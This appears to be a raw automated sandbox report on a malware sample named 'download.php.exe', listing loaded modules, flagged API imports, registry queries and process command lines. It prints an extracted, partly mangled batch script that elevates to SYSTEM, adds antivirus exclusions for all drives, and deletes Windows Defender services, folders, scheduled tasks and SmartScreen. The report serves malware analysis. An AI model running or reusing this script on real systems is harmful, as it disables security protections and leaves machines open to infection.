"download.php.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 752f0000 "download.php.exe" loaded module "KERNEL32" at base 74b00000 "download.php.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 735d0000 "download.php.exe" loaded module "KERNEL32.DLL" at base 74b00000 "download.php.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 74770000 "download.php.exe" loaded module "FECLIENT.DLL" at base 735b0000 "download.php.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73580000 "download.php.exe" loaded module "NTDLL.DLL" at base 77cc0000 "download.php.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74630000 "1Q37l5.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 752f0000 "1Q37l5.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 752f0000 "1Q37l5.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 752f0000 "1Q37l5.exe" loaded module "KERNEL32" at base 74b00000 "1Q37l5.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 735d0000 "1Q37l5.exe" loaded module "nulColor 0fset "Arch=" & set "ArgNsudo=" & set "MainFolder1=" & set "MainFolder2=" & set "ProcList=" & set "NumberWin="SetLocal EnableDelayedExpansioncd /d "%~dp0Work"set "Arch=x64" & (If "%PROCESSOR_ARCHITECTURE%"=="x86" if not defined PROCESSOR_ARCHITEW6432 set Arch=x86)reg query "HKU\S-1-5-19" >nul 2>&1 || nircmd elevate "%~f0" any_word && exitif defined WT_SESSION (reg add "HKCU\Console\%%%%Startup" /v "DelegationConsole" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nulreg add "HKCU\Console\%%%%Startup" /v "DelegationTerminal" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nulreg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f >nul 2>&1if /i "%USERNAME%" neq "%COMPUTERNAME%$" NSudoLG -U:T -P:E -UseCurrentConsole %0 any_word && exitset "Version=15.0"set "DateProgram=28.03.25"Mode 79,49for /f "tokens=4 delims=[] " %%v in ('ver') do set "NumberWin=%%v"reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" | find /i "0x0" >nul 2>&1 && set "ArgNsudo=C" || set "ArgNsudo=E"for /f "skip=3 tokens=1" %%a in ('tasklist') do set "ProcList=!ProcList! %%a "for %%p in (SmartScreen MsMpEng SgrmBroker MsSense NisSrv MpCmdRun MPSigStub SecurityHealthSystray SecurityHealthService SecurityHealthHost MpDefenderCoreService) do (if "!ProcList!"=="!ProcList:%%p.exe =!" (set "%%~pP=0a") else (set "%%~pP=0c"))set "ListWDServ=WinDefend MDCoreSvc WdNisSvc Sense wscsvc SgrmBroker SecurityHealthService webthreatdefsvc webthreatdefusersvc WdNisDrv WdBoot WdFilter SgrmAgent MsSecWfp MsSecFlt MsSecCore"for %%x in (%ListWDServ%) do reg query "HKLM\System\CurrentControlSet\Services\%%~x" >nul 2>&1 && set "%%~x=0c" || set "%%~x=0a"if exist "%AllUsersProfile%\Microsoft\Windows Defender" (set "MainFolder1=04") else (set "MainFolder1=0a")if exist "%SystemDrive%\Program Files\Windows Defender" (set "MainFolder2=04") else (set "MainFolder2=0a")set PathTask=%SystemRoot%\System32\Tasks\Microsoft\Windows\Windows Defenderif not exist "%PathTask%\Windows Defender Cache Maintenance" (set "Maintenance=0a") else (set "Maintenance=0c")if not exist "%PathTask%\Windows Defender Scheduled Scan" (set "Scan=0a") else (set "Scan=0c")if not exist "%PathTask%\Windows Defender Verification" (set "Verification=0a") else (set "Verification=0c")if not exist "%PathTask%\Windows Defender Cleanup" (set "Cleanup=0a") else (set "Cleanup=0c"):StartProcessRemovereg query HKLM\System\CurrentControlset\Services\WdFilter >nul 2>&1 && reg query "HKLM\Software\Microsoft\Windows Defender" >nul 2>&1 && (reg query "HKLM\Software\Microsoft\Windows Defender\Exclusions\Paths" | find /i "%SystemDrive%\" >nul 2>&1 || (NSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide -Wait PowerShell "[System.IO.DriveInfo]::GetDrives() | ForEach-Object { Add-MpPreference -ExclusionPath $_.Name }; Start-Sleep -Milliseconds 1000" >nul 2>&1reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName" | find /i "Windows 7" >nul 2>&1 && goto SkipUnlockerver | findstr /c:"6.1.7601" >nul 2>&1 && goto SkipUnlocker7z x -aoa -bso0 -bsp1 "DKT.zip" -p"DDK" "Unlocker.exe" >nulUnlocker /CurrentDiskSize:StartUnlockerAndSkipBackupUnlocker /dfor %%d in ("%AllUsersProfile%\Microsoft\Windows Security Health", "%AllUsersProfile%\Microsoft\Windows Defender", ...) do (if exist %%d (timeout /t 2 /nobreak >nulUnlocker /D:FinishDeleteUnlocker /newDiskSizesc start VMTools >nul 2>&1sc start VMTools >nul 2>&1reg query "HKLM\System\CurrentControlset\Services\WdFilter" >nul 2>&1 && (call :CreateRunOnceDelReg) || (del /q Unlocker.exe >nul 2>&1reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f >nul 2>&1 :CreateRunOnceDelRegset "RegKey=HKLM\System\CurrentControlSet\Services"for %%p in (RegClean RegClean1) do reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "%%p" /t reg_sz /f /d "\"%~dp0Work\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak ^& reg delete %RegKey%\WdFilter /f ^& reg delete %RegKey%\WinDefend /f ^& reg delete %RegKey%\WdNisDrv /f ^& reg delete %RegKey%\MDCoreSvc /f ^& reg delete %RegKey%\WdNisSvc /f ^& reg delete %RegKey%\WdBoot /f\"" >nulexit /b:AppRepSysset "NameAppRep="for /f "usebackq delims=" %%n In (`2^>nul reg query "HKU\%SID%\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Packages" /f "*Apprep.ChxApp*" /k^|findstr ^H`) do set NameAppRep=%%~nxnreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\EndOfLife\S-1-5-18\%NameAppRep%" /f >nulreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\EndOfLife\%SID%\%NameAppRep%" /f >nulNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide -Wait PowerShell "Get-AppxPackage -AllUsers *Apprep.ChxApp* | Remove-AppxPackage"NSudoLG -U:S -P:E -ShowWindowMode:Hide -Wait PowerShell "Get-AppxPackage -All *Apprep.ChxApp* | Remove-AppxPackage -User 'S-1-5-18' -ErrorAction SilentlyContinue"for /f "usebackq delims=" %%n In (`2^>nul reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications" /f "*Apprep.ChxApp*" /k^|findstr ^H`) do reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications\%%~nxn" /f >nul 2>&1for /f "usebackq delims=" %%d In (`2^>nul Dir "%ProgramData%\Microsoft\Windows\AppRepository\Packages\*Apprep.ChxApp*" /S /B /A:D`) do rd /s /q "%%d"for /f "usebackq delims=" %%d In (`2^>nul Dir "%LocalAppData%\Packages\*Apprep.ChxApp*" /S /B /A:D`) do rd /s /q "%%d"Unlocker /unlock "%AllUsersProfile%\Microsoft\Windows Defender" "%SystemDrive%\Program Files\Windows Defender" "%SystemDrive%\Program Files (x86)\Windows Defender"for %%d in ("Windows Defender""Windows Defender Advanced Threat Protection""Windows Security Health"for %%d in ("Windows Defender""Windows Defender Sleep""Windows Defender Advanced Threat Protection""Windows Security""PCHealthCheck"for %%d in ("Windows Defender""Windows Defender Advanced Threat Protection"for %%f in (SecurityHealthService.exe SecurityHealthSystray.exeSecurityHealthHost.exe SecurityHealthAgent.dllSecurityHealthSSO.dll SecurityHealthProxyStub.dllsmartscreen.dll wscisvif.dll wscproxystub.dllsmartscreenps.dll wscapi.dll windowsdefenderapplicationguardcsp.dllwscsvc.dll SecurityHealthCore.dll SecurityHealthSsoUdk.dllSecurityHealthUdk.dll smartscreen.exe) do () >nul 2>&1) >nul 2>&1set "Counter=1"set "Counter64=1"for %%i in (08728914-3F57-4D52-9E31-49DAECA5A80A 10964DDD-6A53-4C60-917F-7B5723014344 17072F7B-9ABE-4A74-A261-1EB76B55107A195B4D07-3DE2-4744-BBF2-D90121AE785B 2781761E-28E0-4109-99FE-B9D127C57AFE 2981a36e-f22d-11e5-9ce9-5e5517507c662DCD7FDB-8809-48E4-8E4F-3157C57CF987 2EF44DE8-80C9-42D9-8541-F40EF0862FA3 3213CD15-4DF2-415F-83F2-9FC58F3AEB3A3522D7AF-4617-4237-AAD8-5860231FC9BA 361290c0-cb1b-49ae-9f3e-ba1cbe5dab35 36383E77-35C2-4B45-8277-329E4BEDF47F3886CA90-AB09-49D1-A047-7A62D096D2753CD3CA1E-2232-4BBF-A733-18B700409DA0 45F2C32F-ED16-4C94-8493-D72EF93A051B4DB116D1-9B24-4DFC-946B-BFE03E852002 5ffab5c8-9a36-4b65-9fc6-fb69f451f99c 6CED0DAA-4CDE-49C9-BA3A-AE163DC3D7AF6D40A6F9-3D32-4FCB-8A86-BE992E03DC76 7E66DBEF-2474-4E82-919B-9A855F4C2FE8 82345212-6ACA-4B38-8CD7-BF9DE8ED07BD849F5497-5C61-4023-8E10-A28F1A8C6A70 88866959-07B0-4ED8-8EF5-54BC7443D28C 8a696d12-576b-422e-9712-01b9dd84b4468C38232E-3A45-4A27-92B0-1A16A975F669 8E67B5C5-BAD3-4263-9F80-F769D50884F7 A2D75874-6750-4931-94C1-C99D3BC9D0C7a463fcb9-6b1c-4e0d-a80b-a2ca7999e25d A7C452EF-8E9F-42EB-9F2B-245613CA0DC9 C8DFF91D-B243-4797-BAE6-C461B65EDED3D5F7E36B-5B38-445D-A50F-439B8FCBB87A DACA056E-216A-4FD1-84A6-C306A017ECEC DBF393FC-230C-46CC-8A85-E9C599A81EFBE041C90B-68BA-42C9-991E-477B73A75C90 E476E4C0-409C-43CD-BBC0-5905B4138494 F2102C37-90C3-450C-B3F6-92BE1693BDF2F80FC80C-6A04-46FB-8555-D769E334E9FC FEEE9C23-C4E2-4A34-8C73-FE8F9786C8B4 D8559EB9-20C0-410E-BEDA-7ED416AECC2A) do (set /a Counter+=1set /a Counter64+=1exit /b:RestoreDefenderif not exist "%SystemRoot%\System32\config\systemprofile\Desktop" md "%SystemRoot%\System32\config\systemprofile\Desktop"set "BackupFolder="if not defined BackupFolder goto ManageDefenderpushd "%BackupFolder%"copy /y "Files\System32" "%SystemRoot%\System32"copy /y "Files\SysWOW64" "%SystemRoot%\SysWOW64"copy /y "Files\Windows\Containers\WindowsDefenderApplicationGuard.wim" "%SystemRoot%\Containers\"copy /y "Files\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim" "%SystemRoot%\Containers\serviced"xcopy "Folder\Program Files\*" "%ProgramFiles%\" /E /H /K /Yxcopy "Folder\Program Files (x86)\*" "%ProgramFiles(x86)%\" /E /H /K /Yxcopy "Folder\ProgramData\*" "%ProgramData%\" /E /H /K /Yxcopy "Folder\System32\*" "%SystemRoot%\System32" /E /H /K /Yxcopy "Folder\SysWow64\*" "%SystemRoot%\SysWow64" /E /H /K /Yxcopy "Folder\Windows\*" "%SystemRoot%\" /E /H /K /Yxcopy "Folder\WinSxS\*" "%SystemRoot%\WinSxS\" /E /H /K /Yfor %%f in ("RegEdit\*.reg") do reg import "%%f"for %%f in ("ServicesDrivers\*.reg") do reg import "%%f"reg delete "HKLM\Software\Microsoft\Windows Defender\Exclusions\Paths" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /freg delete "HKLM\Software\Policies\Microsoft\MRT" /freg delete "HKLM\Software\DefenderKiller" /freg delete "HKLM\Software\DK" /f) >nul 2>&1popdNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide start "" /min cmd.exe /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /fNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide start "" /min cmd.exe /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /fchoice /c 12 /n /m " "if "%errorlevel%"=="1" call :AddExclusionRestore:CheckUpdate)) else ( exit" (Indicator: ""xcopy ") in Source: RdRK6XK.bat45:T71e,Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "download.php") Found reference to API "GetDC" (Indicator: "GetDC"; File: "download.php") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "download.php") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "download.php") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "download.php") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp")46:T482,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "download.php") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "download.php") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "download.php") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "download.php") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "download.php") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "download.php") Found reference to API "WTSEnumerateProcessesW" (Indicator: "WTSEnumerateProcesses"; File: "download.php") Found reference to API "Process32First" (Indicator: "Process32First"; File: "download.php") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "download.php") Found reference to API "Process32Next" (Indicator: "Process32Next"; File: "download.php") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp")47:T486,Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "download.php") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "download.php") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "download.php") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; File: "download.php") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; File: "download.php") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp")48:T621,Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "download.php") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "download.php") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "download.php") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "download.php") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "download.php") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "download.php") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "download.php") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "download.php") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "download.php") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "download.php") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "download.php") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "download.php") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "download.php") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "download.php") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp")49:T8ef,Process "reg.exe" with commandline "reg query "HKU\\S-1-5-19"" (UID: 00000000-00005476) Process "reg.exe" with commandline "reg query "HKU\\S-1-5-19"" (UID: 00000000-00008148) Process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v "EnableLUA"" (UID: 00000000-00007588) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WinDefend"" (UID: 00000000-00005028) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MDCoreSvc"" (UID: 00000000-00005408) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdNisSvc"" (UID: 00000000-00003168) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\Sense"" (UID: 00000000-00005212) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\wscsvc"" (UID: 00000000-00003844) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SgrmBroker"" (UID: 00000000-00005980) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SecurityHealthService"" (UID: 00000000-00000200) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\webthreatdefsvc"" (UID: 00000000-00005176) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\webthreatdefusersvc"" (UID: 00000000-00007644) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdNisDrv"" (UID: 00000000-00003516) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdBoot"" (UID: 00000000-00002768) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdFilter"" (UID: 00000000-00004604) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SgrmAgent"" (UID: 00000000-00007836) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecWfp"" (UID: 00000000-00007200) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecFlt"" (UID: 00000000-00007312)4a:T41e,Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "download.php") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "download.php") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; File: "download.php") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "download.php") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp")4b:T408,Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "download.php") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "download.php") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "download.php") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "download.php") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; File: "download.php") Found reference to API "AdjustTokenPrivileges.+" (Indicator: "AdjustTokenPrivileges"; File: "download.php") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "download.php") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00002484.00000000.172381.013D1000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00002484.00000000.172381.013D1000.00000020.mdmp")4c:T90e,Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "download.php") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "download.php") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "download.php") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "download.php") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "download.php") Found reference to API "GetFileSecurityW" (Indicator: "GetFileSecurityW"; File: "download.php") Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; File: "download.php") Found reference to API "CreateRestrictedToken" (Indicator: "CreateRestrictedToken"; File: "download.php") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; File: "download.php") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; File: "download.php") Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; File: "download.php") Found reference to API "AddAce" (Indicator: "AddAce"; File: "download.php") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "download.php") Found reference to API "IsWellKnownSid" (Indicator: "IsWellKnownSid"; File: "download.php") Found reference to API "SetTokenInformation" (Indicator: "SetTokenInformation"; File: "download.php") Found reference to API "GetAce" (Indicator: "GetAce"; File: "download.php") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "download.php") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp")4d:Tb82,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: download.php] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: download.php] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: download.php] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: download.php] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: download.php] Observed import api "GetFileSecurityW" which can "obtain specified information about the security of a file or directory" [Source: 7z.exe] Observed import api "SetFileSecurityW" which can "set the security of a file or directory object" [Source: 7z.exe] Observed import api "AddAccessAllowedAce" which can "add an access-allowed access control entry (ACE) to an access control list (ACL)" [Source: NSudoLG.exe] Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: NSudoLG.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: NSudoLG.exe] Observed import api "CreateRestrictedToken" which can "create a new access token that is a restricted version of an existing access token" [Source: NSudoLG.exe] Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: NSudoLG.exe] Observed import api "DuplicateTokenEx" which can "create a new access token that duplicates an existing token" [Source: NSudoLG.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: NSudoLG.exe] Observed import api "GetAce" which can "obtain a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: NSudoLG.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: NSudoLG.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: NSudoLG.exe] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: NSudoLG.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: NSudoLG.exe] Observed import api "IsWellKnownSid" which can "compare a SID to a well-known SID and returns TRUE if they match" [Source: NSudoLG.exe] Observed import api "SetTokenInformation" which can "set various types of information for a specified access token" [Source: NSudoLG.exe]4e:Tc87,"download.php.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\1Q37L5.EXE"; Value: "") "download.php.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\2E2941.EXE"; Value: "") "1Q37l5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CHCP.COM"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\REG.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\WORK\NSUDOLG.EXE"; Value: "") "NSudoLG.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\WORK\NIRCMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CHCP.COM"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\REG.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\MODE.COM"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\FIND.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: 